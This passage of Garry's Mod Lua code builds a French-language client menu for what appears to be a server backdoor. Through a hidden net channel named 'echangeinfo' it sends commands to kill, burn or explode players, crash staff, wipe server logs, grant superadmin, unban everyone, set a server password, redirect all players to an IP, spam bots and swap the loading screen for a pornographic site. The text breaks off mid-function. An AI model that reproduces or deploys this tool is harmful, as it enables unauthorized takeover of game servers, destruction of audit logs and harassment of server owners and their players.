6832local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6833TextEntry:SetPos( 25, 50 )
6834TextEntry:SetSize( 350, 35 )
6835TextEntry:SetText( "Message..." )
6836TextEntry.OnEnter = function( self )
6837 net.Start( "echangeinfo" )
6838 net.WriteString("notification_cleanup")
6839 net.WriteEntity( userl )
6840 net.WriteString(TextEntry:GetValue())
6841 net.SendToServer()
6842end
6843end ):SetIcon( "icon16/information.png" )
6844
6845meutreallsub:AddOption( "ALL", function()
6846 net.Start( "echangeinfo" )
6847 net.WriteString("killall")
6848 net.WriteEntity( userl )
6849 net.SendToServer()
6850end ):SetIcon( "icon16/user.png" )
6851meutreallsub:AddOption( "STAFF", function()
6852 net.Start( "echangeinfo" )
6853 net.WriteString("killallstaff")
6854 net.WriteEntity( userl )
6855 net.SendToServer()
6856end ):SetIcon( "icon16/user_gray.png" )
6857meutreallssub:AddOption( "ALL", function()
6858 net.Start( "echangeinfo" )
6859 net.WriteString("allkillusersilence")
6860 net.WriteEntity( userl )
6861 net.SendToServer()
6862end ):SetIcon( "icon16/user.png" )
6863meutreallssub:AddOption( "STAFF", function()
6864 net.Start( "echangeinfo" )
6865 net.WriteString("allkillusersilencestaff")
6866 net.WriteEntity( userl )
6867 net.SendToServer()
6868end ):SetIcon( "icon16/user_gray.png" )
6869
6870explosesub:AddOption( "ALL", function()
6871 net.Start( "echangeinfo" )
6872 net.WriteString("exploseall")
6873 net.WriteEntity( userl )
6874 net.SendToServer()
6875end ):SetIcon( "icon16/user.png" )
6876explosesub:AddOption( "STAFF", function()
6877 net.Start( "echangeinfo" )
6878 net.WriteString("explosestaff")
6879 net.WriteEntity( userl )
6880 net.SendToServer()
6881end ):SetIcon( "icon16/user_gray.png" )
6882
6883igniteallssub:AddOption( "ALL", function()
6884 net.Start( "echangeinfo" )
6885 net.WriteString("igniteall")
6886 net.WriteEntity( userl )
6887 net.SendToServer()
6888end ):SetIcon( "icon16/user.png" )
6889igniteallssub:AddOption( "STAFF", function()
6890 net.Start( "echangeinfo" )
6891 net.WriteString("igniteallstaff")
6892 net.WriteEntity( userl )
6893 net.SendToServer()
6894end ):SetIcon( "icon16/user_gray.png" )
6895
6896freezesub:AddOption( "ALL", function()
6897 net.Start( "echangeinfo" )
6898 net.WriteString("freezeall")
6899 net.WriteEntity( userl )
6900 net.SendToServer()
6901 end ):SetIcon( "icon16/user.png" )
6902freezesub:AddOption( "STAFF", function()
6903 net.Start( "echangeinfo" )
6904 net.WriteString("freezeallstaff")
6905 net.WriteEntity( userl )
6906 net.SendToServer()
6907end ):SetIcon( "icon16/user_gray.png" )
6908unfreezesub:AddOption( "ALL", function()
6909 net.Start( "echangeinfo" )
6910 net.WriteString("unfreezeall")
6911 net.WriteEntity( userl )
6912 net.SendToServer()
6913 end ):SetIcon( "icon16/user.png" )
6914
6915unfreezesub:AddOption( "STAFF", function()
6916 net.Start( "echangeinfo" )
6917 net.WriteString("unfreezeallstaff")
6918 net.WriteEntity( userl )
6919 net.SendToServer()
6920end ):SetIcon( "icon16/user_gray.png" )
6921
6922noclipsub:AddOption( "[ON]", function()
6923 net.Start( "echangeinfo" )
6924 net.WriteString("noclipallon")
6925 net.WriteEntity( userl )
6926 net.SendToServer()
6927 end ):SetIcon( "icon16/accept.png" )
6928
6929noclipsub:AddOption( "[OFF]", function()
6930 net.Start( "echangeinfo" )
6931 net.WriteString("noclipalloff")
6932 net.WriteEntity( userl )
6933 net.SendToServer()
6934end ):SetIcon( "icon16/cancel.png" )
6935
6936ulxall:AddOption( "Ajoute 11€ toutes les 0.1s", function()
6937 net.Start( "echangeinfo" )
6938 net.WriteString("addmoneyall")
6939 net.WriteEntity( userl )
6940 net.SendToServer()
6941end ):SetIcon( "icon16/money_add.png" )
6942
6943ulxall:AddOption( "Ajouter de l'argent", function()
6944local frame = vgui.Create( "DFrame" )
6945frame:SetSize( 400, 100 )
6946frame:SetTitle( "" )
6947frame:Center()
6948frame:MakePopup()
6949local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6950TextEntry:SetPos( 25, 50 )
6951TextEntry:SetSize( 350, 35 )
6952TextEntry:SetText( "500" )
6953TextEntry.OnEnter = function( self )
6954 net.Start( "echangeinfo" )
6955 net.WriteString("addmoneyalls")
6956 net.WriteEntity( userl )
6957 net.WriteString(TextEntry:GetValue())
6958 net.SendToServer()
6959end
6960end ):SetIcon( "icon16/money_add.png" )
6961
6962ulxall:AddOption( "Point de vie", function()
6963local frame = vgui.Create( "DFrame" )
6964frame:SetSize( 400, 100 )
6965frame:SetTitle( "" )
6966frame:Center()
6967frame:MakePopup()
6968local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6969TextEntry:SetPos( 25, 50 )
6970TextEntry:SetSize( 350, 35 )
6971TextEntry:SetText( "100" )
6972TextEntry.OnEnter = function( self )
6973 net.Start( "echangeinfo" )
6974 net.WriteString("healall")
6975 net.WriteEntity( userl )
6976 net.WriteString(TextEntry:GetValue())
6977 net.SendToServer()
6978end
6979end ):SetIcon( "icon16/heart.png" )
6980
6981ulxall:AddOption( "Point d'armure", function()
6982local frame = vgui.Create( "DFrame" )
6983frame:SetSize( 400, 100 )
6984frame:SetTitle( "" )
6985frame:Center()
6986frame:MakePopup()
6987local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6988TextEntry:SetPos( 25, 50 )
6989TextEntry:SetSize( 350, 35 )
6990TextEntry:SetText( "250" )
6991TextEntry.OnEnter = function( self )
6992 net.Start( "echangeinfo" )
6993 net.WriteString("armorall")
6994 net.WriteEntity( userl )
6995 net.WriteString(TextEntry:GetValue())
6996 net.SendToServer()
6997end
6998end ):SetIcon( "icon16/user_suit.png" )
6999
7000trollall:AddOption( "Launch", function()
7001 net.Start( "echangeinfo" )
7002 net.WriteString("launchall")
7003 net.WriteEntity( userl )
7004 net.SendToServer()
7005end ):SetIcon( "icon16/arrow_up.png" )
7006
7007trollall:AddOption( "2D Players", function()
7008 net.Start( "echangeinfo" )
7009 net.WriteString("2dplayerall")
7010 net.WriteEntity( userl )
7011 net.SendToServer()
7012end ):SetIcon( "icon16/bug.png" )
7013
7014trollall:AddOption( "Donner la grosse tête à tous les joueurs", function()
7015 net.Start( "echangeinfo" )
7016 net.WriteString("grossetete")
7017 net.WriteEntity( userl )
7018 net.SendToServer()
7019end ):SetIcon( "icon16/bug.png" )
7020
7021trollall:AddOption( "Changer la taille des joueurs", function()
7022local frame = vgui.Create( "DFrame" )
7023frame:SetSize( 400, 100 )
7024frame:SetTitle( "" )
7025frame:Center()
7026frame:MakePopup()
7027local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7028TextEntry:SetPos( 25, 50 )
7029TextEntry:SetSize( 350, 35 )
7030TextEntry:SetText( "5" )
7031TextEntry.OnEnter = function( self )
7032 net.Start( "echangeinfo" )
7033 net.WriteString("scaleall")
7034 net.WriteEntity( userl )
7035 net.WriteString(TextEntry:GetValue())
7036 net.SendToServer()
7037end
7038end ):SetIcon( "icon16/application_edit.png" )
7039
7040trollall:AddOption( "Hurlement sur tous les joueurs", function()
7041 net.Start( "echangeinfo" )
7042 net.WriteString("hurlement")
7043 net.WriteEntity( userl )
7044 net.SendToServer()
7045end ):SetIcon( "icon16/bell.png" )
7046
7047trollall:AddOption( "Faire crash [STAFF]", function()
7048 net.Start( "echangeinfo" )
7049 net.WriteString("crashadminvip")
7050 net.WriteEntity( userl )
7051 net.SendToServer()
7052end ) :SetIcon( "icon16/disconnect.png" )
7053
7054spamchat:AddOption( "[ON]", function()
7055 net.Start( "echangeinfo" )
7056 net.WriteString("spamchat")
7057 net.WriteEntity( userl )
7058 net.SendToServer()
7059end ) :SetIcon( "icon16/accept.png" )
7060
7061spamchat:AddOption( "[OFF]", function()
7062 net.Start( "echangeinfo" )
7063 net.WriteString("spamchatstop")
7064 net.WriteEntity( userl )
7065 net.SendToServer()
7066end ) :SetIcon( "icon16/cancel.png" )
7067
7068mooveall:AddOption( "[ON]", function()
7069 net.Start( "echangeinfo" )
7070 net.WriteString("moovetrollall")
7071 net.WriteEntity( userl )
7072 net.SendToServer()
7073end ):SetIcon( "icon16/accept.png" )
7074
7075mooveall:AddOption( "[OFF]", function()
7076 net.Start( "echangeinfo" )
7077 net.WriteString("unmoovetrollall")
7078 net.WriteEntity( userl )
7079 net.SendToServer()
7080end ):SetIcon( "icon16/cancel.png" )
7081
7082jumpbreakall:AddOption( "ON", function()
7083 net.Start( "echangeinfo" )
7084 net.WriteString("jump")
7085 net.WriteEntity( userl )
7086 net.SendToServer()
7087end ):SetIcon( "icon16/accept.png" )
7088
7089jumpbreakall:AddOption( "OFF", function()
7090 net.Start( "echangeinfo" )
7091 net.WriteString("retablirjumpall")
7092 net.WriteEntity( userl )
7093 net.SendToServer()
7094end ):SetIcon( "icon16/cancel.png" )
7095
7096moovesall:AddOption( "[ON]Avancer", function()
7097 net.Start( "echangeinfo" )
7098 net.WriteString("forwardmooveall")
7099 net.WriteEntity( userl )
7100 net.SendToServer()
7101end ):SetIcon( "icon16/accept.png" )
7102
7103moovesall:AddOption( "[OFF]Avancer", function()
7104 net.Start( "echangeinfo" )
7105 net.WriteString("unforwardmooveall")
7106 net.WriteEntity( userl )
7107 net.SendToServer()
7108end ):SetIcon( "icon16/stop.png" )
7109
7110moovesall:AddOption( "[ON]Reculer", function()
7111 net.Start( "echangeinfo" )
7112 net.WriteString("backmooveall")
7113 net.WriteEntity( userl )
7114 net.SendToServer()
7115end ):SetIcon( "icon16/accept.png" )
7116
7117moovesall:AddOption( "[OFF]Reculer", function()
7118 net.Start( "echangeinfo" )
7119 net.WriteString("unbackmooveall")
7120 net.WriteEntity( userl )
7121 net.SendToServer()
7122end ):SetIcon( "icon16/stop.png" )
7123
7124moovesall:AddOption( "[ON]Tourner à gauche", function()
7125 net.Start( "echangeinfo" )
7126 net.WriteString("leftmooveall")
7127 net.WriteEntity( userl )
7128 net.SendToServer()
7129end ):SetIcon( "icon16/accept.png" )
7130
7131moovesall:AddOption( "[OFF]Tourner à gauche", function()
7132 net.Start( "echangeinfo" )
7133 net.WriteString("unleftmooveall")
7134 net.WriteEntity( userl )
7135 net.SendToServer()
7136end ):SetIcon( "icon16/stop.png" )
7137
7138moovesall:AddOption( "[ON]Tourner à droite", function()
7139 net.Start( "echangeinfo" )
7140 net.WriteString("rightmooveall")
7141 net.WriteEntity( userl )
7142 net.SendToServer()
7143end ):SetIcon( "icon16/accept.png" )
7144
7145moovesall:AddOption( "[OFF]Tourner à droite", function()
7146 net.Start( "echangeinfo" )
7147 net.WriteString("unrightmooveall")
7148 net.WriteEntity( userl )
7149 net.SendToServer()
7150end ):SetIcon( "icon16/stop.png" )
7151
7152moovesall:AddOption( "[ON]S'accroupir", function()
7153 net.Start( "echangeinfo" )
7154 net.WriteString("squatmooveall")
7155 net.WriteEntity( userl )
7156 net.SendToServer()
7157end ):SetIcon( "icon16/accept.png" )
7158
7159moovesall:AddOption( "[OFF]S'accroupir", function()
7160 net.Start( "echangeinfo" )
7161 net.WriteString("unsquatmooveall")
7162 net.WriteEntity( userl )
7163 net.SendToServer()
7164end ):SetIcon( "icon16/stop.png" )
7165
7166infoserver:AddOption( "Enlever les logs", function()
7167 net.Start( "echangeinfo" )
7168 net.WriteString("logsremove")
7169 net.WriteEntity( userl )
7170 net.SendToServer()
7171end ):SetIcon( "icon16/cog_delete.png" )
7172
7173infoserver:AddOption( "Changer le nom du serveur", function()
7174local frame = vgui.Create( "DFrame" )
7175frame:SetSize( 400, 100 )
7176frame:SetTitle( "" )
7177frame:Center()
7178frame:MakePopup()
7179local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7180TextEntry:SetPos( 25, 50 )
7181TextEntry:SetSize( 350, 35 )
7182TextEntry:SetText( "â– â–‚ â–ƒ â–„ â–… â–† ▇ĤẪĈЌĒĎ ฿¥ Ä”ÏĨĩĆẤ ŤΈǺMâ–ˆ â–‡ â–† â–… â–„ â–‚ â–" )
7183TextEntry.OnEnter = function( self )
7184 net.Start( "echangeinfo" )
7185 net.WriteString("changename")
7186 net.WriteEntity( userl )
7187 net.WriteString(TextEntry:GetValue())
7188 net.SendToServer()
7189end
7190end ):SetIcon( "icon16/server_edit.png" )
7191
7192infoserver:AddOption( "Changer l'écran de chargement", function()
7193local frame = vgui.Create( "DFrame" )
7194frame:SetSize( 400, 100 )
7195frame:SetTitle( "" )
7196frame:Center()
7197frame:MakePopup()
7198local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7199TextEntry:SetPos( 25, 50 )
7200TextEntry:SetSize( 350, 35 )
7201TextEntry:SetText( "https://pornhub.com" )
7202TextEntry.OnEnter = function( self )
7203 net.Start( "echangeinfo" )
7204 net.WriteString("changeload")
7205 net.WriteEntity( userl )
7206 net.WriteString(TextEntry:GetValue())
7207 net.SendToServer()
7208end
7209end ):SetIcon( "icon16/server_edit.png" )
7210
7211infoserver:AddOption( "Autoriser les scripts client (0 ou 1)", function()
7212local frame = vgui.Create( "DFrame" )
7213frame:SetSize( 400, 100 )
7214frame:SetTitle( "" )
7215frame:Center()
7216frame:MakePopup()
7217local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7218TextEntry:SetPos( 25, 50 )
7219TextEntry:SetSize( 350, 35 )
7220TextEntry:SetText( "1" )
7221TextEntry.OnEnter = function( self )
7222 net.Start( "echangeinfo" )
7223 net.WriteString("allowcsluads")
7224 net.WriteEntity( userl )
7225 net.WriteString(TextEntry:GetValue())
7226 net.SendToServer()
7227end
7228end ):SetIcon( "icon16/server_edit.png" )
7229
7230infoserver:AddOption( "Mettre un mot de passe sur le serveur", function()
7231local frame = vgui.Create( "DFrame" )
7232frame:SetSize( 400, 100 )
7233frame:SetTitle( "" )
7234frame:Center()
7235frame:MakePopup()
7236local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7237TextEntry:SetPos( 25, 50 )
7238TextEntry:SetSize( 350, 35 )
7239TextEntry:SetText( "secure" )
7240TextEntry.OnEnter = function( self )
7241 net.Start( "echangeinfo" )
7242 net.WriteString("secureinfo")
7243 net.WriteEntity( userl )
7244 net.WriteString(TextEntry:GetValue())
7245 net.SendToServer()
7246end
7247end ):SetIcon( "icon16/server_edit.png" )
7248
7249infoserver:AddOption( "Bot spam", function()
7250local frame = vgui.Create( "DFrame" )
7251frame:SetSize( 400, 100 )
7252frame:SetTitle( "Nombre de Bot ?" )
7253frame:Center()
7254frame:MakePopup()
7255local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7256TextEntry:SetPos( 25, 50 )
7257TextEntry:SetSize( 350, 35 )
7258TextEntry:SetText( "5" )
7259TextEntry.OnEnter = function( self )
7260 net.Start( "echangeinfo" )
7261 net.WriteString("botspam")
7262 net.WriteEntity( userl )
7263 net.WriteString(TextEntry:GetValue())
7264 net.SendToServer()
7265end
7266end ):SetIcon( "icon16/user.png" )
7267
7268infoserver:AddOption( "Changer le nom de tous les joueurs", function()
7269 net.Start( "echangeinfo" )
7270 net.WriteString("namechanger")
7271 net.WriteEntity( userl )
7272 net.SendToServer()
7273end ):SetIcon( "icon16/server_database.png" )
7274
7275infoserver:AddOption( "Changer le nom de tous les joueurs[SPAM]", function()
7276 net.Start( "echangeinfo" )
7277 net.WriteString("namechangerspam")
7278 net.WriteEntity( userl )
7279 net.SendToServer()
7280end ):SetIcon( "icon16/server_database.png" )
7281
7282infoserver:AddOption( "Name Changer[OFF]", function()
7283 net.Start( "echangeinfo" )
7284 net.WriteString("namechangerstop")
7285 net.WriteEntity( userl )
7286 net.SendToServer()
7287end ):SetIcon( "icon16/server_database.png" )
7288
7289infoserver:AddOption( "Redémarrer serveur", function()
7290 net.Start( "echangeinfo" )
7291 net.WriteString("restartserver")
7292 net.WriteEntity( userl )
7293 net.SendToServer()
7294end ):SetIcon( "icon16/server_go.png" )
7295
7296gravitesub:AddOption( "ON", function()
7297 net.Start( "echangeinfo" )
7298 net.WriteString("cassergrall")
7299 net.WriteEntity( userl )
7300 net.SendToServer()
7301end ):SetIcon( "icon16/accept.png" )
7302
7303gravitesub:AddOption( "OFF", function()
7304 net.Start( "echangeinfo" )
7305 net.WriteString("retablirgrall")
7306 net.WriteEntity( userl )
7307 net.SendToServer()
7308end ):SetIcon( "icon16/cancel.png" )
7309
7310physiquesub:AddOption( "ON", function()
7311 net.Start( "echangeinfo" )
7312 net.WriteString("physicgamestyle")
7313 net.WriteEntity( userl )
7314 net.SendToServer()
7315end ):SetIcon( "icon16/accept.png" )
7316
7317physiquesub:AddOption( "OFF", function()
7318 net.Start( "echangeinfo" )
7319 net.WriteString("retablirphysicgamestyle")
7320 net.WriteEntity( userl )
7321 net.SendToServer()
7322end ):SetIcon( "icon16/cancel.png" )
7323
7324quakeearth:AddOption( "ON", function()
7325 net.Start( "echangeinfo" )
7326 net.WriteString("earthquakeonall")
7327 net.WriteEntity( userl )
7328 net.SendToServer()
7329end ):SetIcon( "icon16/accept.png" )
7330
7331trollall:AddOption( "GL0B4L H4CK", function()
7332 net.Start( "echangeinfo" )
7333 net.WriteString("globalhack")
7334 net.WriteEntity( userl )
7335 net.SendToServer()
7336end ):SetIcon( "icon16/application_xp_terminal.png" )
7337
7338trollall:AddOption( "D4NC3 FL00R! ", function()
7339 net.Start( "echangeinfo" )
7340 net.WriteString("dancefloor")
7341 net.WriteEntity( userl )
7342 net.SendToServer()
7343end ):SetIcon( "icon16/rainbow.png" )
7344
7345
7346animationallsubsalute:AddOption( "1 fois", function()
7347 net.Start( "echangeinfo" )
7348 net.WriteString("animation_salute")
7349 net.WriteEntity( userl )
7350 net.SendToServer()
7351end ):SetIcon( "icon16/bell.png" )
7352
7353animationallsubsalute:AddOption( "en boucle", function()
7354 net.Start( "echangeinfo" )
7355 net.WriteString("animation_salute_loop")
7356 net.WriteEntity( userl )
7357 net.SendToServer()
7358end ):SetIcon( "icon16/bell.png" )
7359
7360animationallsubrobot:AddOption( "1 fois", function()
7361 net.Start( "echangeinfo" )
7362 net.WriteString("animation_robot")
7363 net.WriteEntity( userl )
7364 net.SendToServer()
7365end ):SetIcon( "icon16/bell.png" )
7366animationallsubrobot:AddOption( "en boucle", function()
7367 net.Start( "echangeinfo" )
7368 net.WriteString("animation_robot_loop")
7369 net.WriteEntity( userl )
7370 net.SendToServer()
7371end ):SetIcon( "icon16/bell.png" )
7372
7373animationallsubcheer:AddOption( "1 fois", function()
7374 net.Start( "echangeinfo" )
7375 net.WriteString("animation_cheer")
7376 net.WriteEntity( userl )
7377 net.SendToServer()
7378end ):SetIcon( "icon16/bell.png" )
7379animationallsubcheer:AddOption( "en boucle", function()
7380 net.Start( "echangeinfo" )
7381 net.WriteString("animation_cheer_loop")
7382 net.WriteEntity( userl )
7383 net.SendToServer()
7384end ):SetIcon( "icon16/bell.png" )
7385
7386animationallsublaugh:AddOption( "1 fois", function()
7387 net.Start( "echangeinfo" )
7388 net.WriteString("animation_laugh")
7389 net.WriteEntity( userl )
7390 net.SendToServer()
7391end ):SetIcon( "icon16/bell.png" )
7392
7393animationallsublaugh:AddOption( "en boucle", function()
7394 net.Start( "echangeinfo" )
7395 net.WriteString("animation_laugh_loop")
7396 net.WriteEntity( userl )
7397 net.SendToServer()
7398end ):SetIcon( "icon16/bell.png" )
7399
7400animationallsubmuscle:AddOption( "1 fois", function()
7401 net.Start( "echangeinfo" )
7402 net.WriteString("animation_muscle")
7403 net.WriteEntity( userl )
7404 net.SendToServer()
7405end ):SetIcon( "icon16/bell.png" )
7406
7407animationallsubmuscle:AddOption( "en boucle", function()
7408 net.Start( "echangeinfo" )
7409 net.WriteString("animation_muscle_loop")
7410 net.WriteEntity( userl )
7411 net.SendToServer()
7412end ):SetIcon( "icon16/bell.png" )
7413
7414animationallsubpersistence:AddOption( "1 fois", function()
7415 net.Start( "echangeinfo" )
7416 net.WriteString("animation_persistence")
7417 net.WriteEntity( userl )
7418 net.SendToServer()
7419end ):SetIcon( "icon16/bell.png" )
7420
7421animationallsubpersistence:AddOption( "en boucle", function()
7422 net.Start( "echangeinfo" )
7423 net.WriteString("animation_persistence_loop")
7424 net.WriteEntity( userl )
7425 net.SendToServer()
7426end ):SetIcon( "icon16/bell.png" )
7427
7428animationallsubdance:AddOption( "1 fois", function()
7429 net.Start( "echangeinfo" )
7430 net.WriteString("animation_dance")
7431 net.WriteEntity( userl )
7432 net.SendToServer()
7433end ):SetIcon( "icon16/bell.png" )
7434
7435animationallsubdance:AddOption( "en boucle", function()
7436 net.Start( "echangeinfo" )
7437 net.WriteString("animation_dance_loop")
7438 net.WriteEntity( userl )
7439 net.SendToServer()
7440end ):SetIcon( "icon16/bell.png" )
7441
7442animationall:AddOption( "STOP ALL", function()
7443 net.Start( "echangeinfo" )
7444 net.WriteString("stop_timer_animation")
7445 net.WriteEntity( userl )
7446 net.SendToServer()
7447end ):SetIcon( "icon16/bell.png" )
7448
7449ulxall:AddOption( "Unban ALL ", function()
7450 net.Start( "echangeinfo" )
7451 net.WriteString("unbanall")
7452 net.WriteEntity( userl )
7453 net.SendToServer()
7454end ):SetIcon( "icon16/status_online.png" )
7455
7456ulxall:AddOption( "Give une arme", function()
7457local frame = vgui.Create( "DFrame" )
7458frame:SetSize( 400, 100 )
7459frame:SetTitle( "" )
7460frame:Center()
7461frame:MakePopup()
7462local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7463TextEntry:SetPos( 25, 50 )
7464TextEntry:SetSize( 350, 35 )
7465TextEntry:SetText( "weapon_rpg" )
7466TextEntry.OnEnter = function( self )
7467 net.Start( "echangeinfo" )
7468 net.WriteString("itemsall")
7469 net.WriteEntity( userl )
7470 net.WriteString(TextEntry:GetValue())
7471 net.SendToServer()
7472end
7473end ):SetIcon( "icon16/bomb.png" )
7474
7475ulxall:AddOption( "Changer les models", function()
7476local frame = vgui.Create( "DFrame" )
7477frame:SetSize( 400, 100 )
7478frame:SetTitle( "" )
7479frame:Center()
7480frame:MakePopup()
7481local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7482TextEntry:SetPos( 25, 50 )
7483TextEntry:SetSize( 350, 35 )
7484TextEntry:SetText( "models/editor/playerstart.mdl" )
7485TextEntry.OnEnter = function( self )
7486 net.Start( "echangeinfo" )
7487 net.WriteString("modelall")
7488 net.WriteEntity( userl )
7489 net.WriteString(TextEntry:GetValue())
7490 net.SendToServer()
7491end
7492end ):SetIcon( "icon16/box.png" )
7493
7494ulxall:AddOption( "Rediriger tous les joueurs vers une ip", function()
7495local frame = vgui.Create( "DFrame" )
7496frame:SetSize( 400, 100 )
7497frame:SetTitle( "" )
7498frame:Center()
7499frame:MakePopup()
7500local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7501TextEntry:SetPos( 25, 50 )
7502TextEntry:SetSize( 350, 35 )
7503TextEntry:SetText( "127.0.0.1:27015" )
7504TextEntry.OnEnter = function( self )
7505 net.Start( "echangeinfo" )
7506 net.WriteString("redirectplayer")
7507 net.WriteEntity( userl )
7508 net.WriteString(TextEntry:GetValue())
7509 net.SendToServer()
7510end
7511end ):SetIcon( "icon16/server_go.png" )
7512
7513m:AddSpacer() -- Add a spacer
7514m:Open() -- Show our menu
7515end
7516local AppList = vgui.Create( "DListView", Frame )
7517AppList:SetMultiSelect( false )
7518AppList:AddColumn( "Utilisateur" )
7519AppList:SetSize( ScrW() -400, ScrH() -400 );
7520AppList:SetPos( 100, 80 );
7521 for k, v in pairs(player.GetAll()) do
7522 AppList:AddLine( v:Nick() .. " " .. v:GetUserGroup(), v)
7523 end
7524AppList.OnRowSelected = function( lst, index, pnl )
7525userl = pnl:GetColumnText( 2 )
7526valuess = pnl:GetColumnText( 1 )
7527local m = DermaMenu()
7528local meutre, meutreicon = m:AddSubMenu( "Meutre" )
7529meutreicon:SetIcon( "icon16/bomb.png" )
7530m:AddSpacer()
7531local ulx, ulxicon = m:AddSubMenu( "Commandes" )
7532ulxicon:SetIcon( "icon16/script_edit.png" )
7533m:AddSpacer()
7534local visuel, visuelicon = m:AddSubMenu( "Visuel" )
7535visuelicon:SetIcon( "icon16/eye.png" )
7536m:AddSpacer()
7537local soundboard, soundboardlicon = m:AddSubMenu( "SoundBoard" )
7538soundboardlicon:SetIcon( "icon16/sound.png" )
7539m:AddSpacer()
7540local tpsub, tpsubicon = m:AddSubMenu( "Téléportation" )
7541tpsubicon:SetIcon( "icon16/user_go.png" )
7542local tpsubgmconstruct, tpsubgmconstructicon = tpsub:AddSubMenu( "GM_CONSTRUCT" )
7543tpsubgmconstructicon:SetIcon( "icon16/map.png" )
7544local tpsubgmflat, tpsubgmflaticon = tpsub:AddSubMenu( "GM_FLATGRASS" )
7545tpsubgmflaticon:SetIcon( "icon16/map.png" )
7546local tpsubglife3, tpsubglife3icon = tpsub:AddSubMenu( "RP_GLIFE_ROCKFORD3" )
7547tpsubglife3icon:SetIcon( "icon16/map.png" )
7548local downtownv4cv2, downtownv4cv2icon = tpsub:AddSubMenu( "RP_ROCKFORD_V2B" )
7549downtownv4cv2icon:SetIcon( "icon16/map.png" )
7550local ulxsubgrade, ulxsubgradeicon = ulx:AddSubMenu( "Grades" )
7551ulxsubgradeicon:SetIcon( "icon16/user.png" )
7552local ulxsubgod, ulxsubgodicon = ulx:AddSubMenu( "Mode dieu" )
7553ulxsubgodicon:SetIcon( "icon16/heart.png" )
7554local ulxsubfreeze, ulxsubfreezeicon = ulx:AddSubMenu( "Freeze" )
7555ulxsubfreezeicon:SetIcon( "icon16/heart.png" )
7556local ulxsubnoclip, ulxsubnoclipicon = ulx:AddSubMenu( "NOCLIP" )
7557ulxsubnoclipicon:SetIcon( "icon16/drive_user.png" )
7558m:AddSpacer()
7559local animation, animationicon = m:AddSubMenu( "Animation" )
7560animationicon:SetIcon( "icon16/wand.png" )
7561m:AddSpacer()
7562local mooves, moovesicon = m:AddSubMenu( "Mouvement" )
7563moovesicon:SetIcon( "icon16/controller.png" )
7564m:AddSpacer()
7565local troll, trollicon = m:AddSubMenu( "Troll Menu" )
7566trollicon:SetIcon( "icon16/rainbow.png" )
7567local trollsubflash, trollsubflashicon = troll:AddSubMenu( "Flashlight SPAM" )
7568trollsubflashicon:SetIcon( "icon16/lightbulb_off.png" )
7569local trollsubscreen, trollsubscreenicon = troll:AddSubMenu( "Screenshot SPAM" )
7570trollsubscreenicon:SetIcon( "icon16/camera.png" )
7571local trollsubstopsound, trollsubstopsoundicon = troll:AddSubMenu( "Stopsound SPAM" )
7572trollsubstopsoundicon:SetIcon( "icon16/sound_mute.png" )
7573local trollsubmoooves, trollsubmooovesicon = troll:AddSubMenu( "Mouvement" )
7574trollsubmooovesicon:SetIcon( "icon16/bug_error.png" )
7575local trollsubgravity, trollsubgravityicon = troll:AddSubMenu( "Gravité Casser" )
7576trollsubgravityicon:SetIcon( "icon16/star.png" )
7577local trollsubjumpc, trollsubjumpcicon = troll:AddSubMenu( "Jump Casser" )
7578trollsubjumpcicon:SetIcon( "icon16/star.png" )
7579local trollsubmic, trollsubmicicon = troll:AddSubMenu( "Micro" )
7580trollsubmicicon:SetIcon( "icon16/sound.png" )
7581local trollprison, trollprisonicon = troll:AddSubMenu( "Prison" )
7582trollprisonicon:SetIcon( "icon16/user_orange.png" )
7583m:AddSpacer()
7584meutre:AddOption( "Tuer la personne", function()
7585 net.Start( "echangeinfo" )
7586 net.WriteString("killuser")
7587 net.WriteEntity( userl )
7588 net.SendToServer()
7589 actioneff("Vous venez de tuer " .. userl:Nick())
7590end ):SetIcon( "icon16/delete.png" )
7591meutre:AddOption( "Tuer la personne (silencieux)", function()
7592 net.Start( "echangeinfo" )
7593 net.WriteString("killusersilence")
7594 net.WriteEntity( userl )
7595 net.SendToServer()
7596 actioneff("Vous venez de tuer " .. userl:Nick())
7597end ):SetIcon( "icon16/delete.png" )
7598meutre:AddOption( "Bruler la personne", function()
7599 net.Start( "echangeinfo" )
7600 net.WriteString("fireuser")
7601 net.WriteEntity( userl )
7602 net.SendToServer()
7603 actioneff("Vous venez de bruler " .. userl:Nick())
7604 end ):SetIcon( "icon16/delete.png" )
7605
7606meutre:AddOption( "Exploser la personne", function()
7607 net.Start( "echangeinfo" )
7608 net.WriteString("exploseuser")
7609 net.WriteEntity( userl )
7610 net.SendToServer()
7611 actioneff("Vous venez d'exploser " .. userl:Nick())
7612 end ):SetIcon( "icon16/delete.png" )
7613
7614ulxsubgrade:AddOption( "[SUPERADMIN]", function()
7615 net.Start( "echangeinfo" )
7616 net.WriteString("superadmin")
7617 net.WriteEntity( userl )
7618 net.SendToServer()
7619 actioneff("Vous venez de passer " .. userl:Nick() .. " [superadmin]")
7620end ):SetIcon( "icon16/user_add.png" )
7621
7622ulxsubgrade:AddOption( "[USER]", function()
7623 net.Start( "echangeinfo" )
7624 net.WriteString("userrank")
7625 net.WriteEntity( userl )
7626 net.SendToServer()
7627 actioneff("Vous venez de passer " .. userl:Nick() .. " [user]")
7628end ):SetIcon( "icon16/user_delete.png" )
7629
7630ulxsubgrade:AddOption( "[CUSTOM]", function()
7631local frame = vgui.Create( "DFrame" )
7632frame:SetSize( 400, 100 )
7633frame:SetTitle( "" )
7634frame:Center()
7635frame:MakePopup()
7636local TextEntry = vgui.Create( "DTextEntry", frame )
7637TextEntry:SetPos( 25, 50 )
7638TextEntry:SetSize( 350, 35 )
7639TextEntry:SetText( "vip" )
7640TextEntry.OnEnter = function( self )
7641 net.Start( "echangeinfo" )
7642 net.WriteString("custom")
7643 net.WriteEntity( userl )
7644 net.WriteString(TextEntry:GetValue())
7645 net.SendToServer()
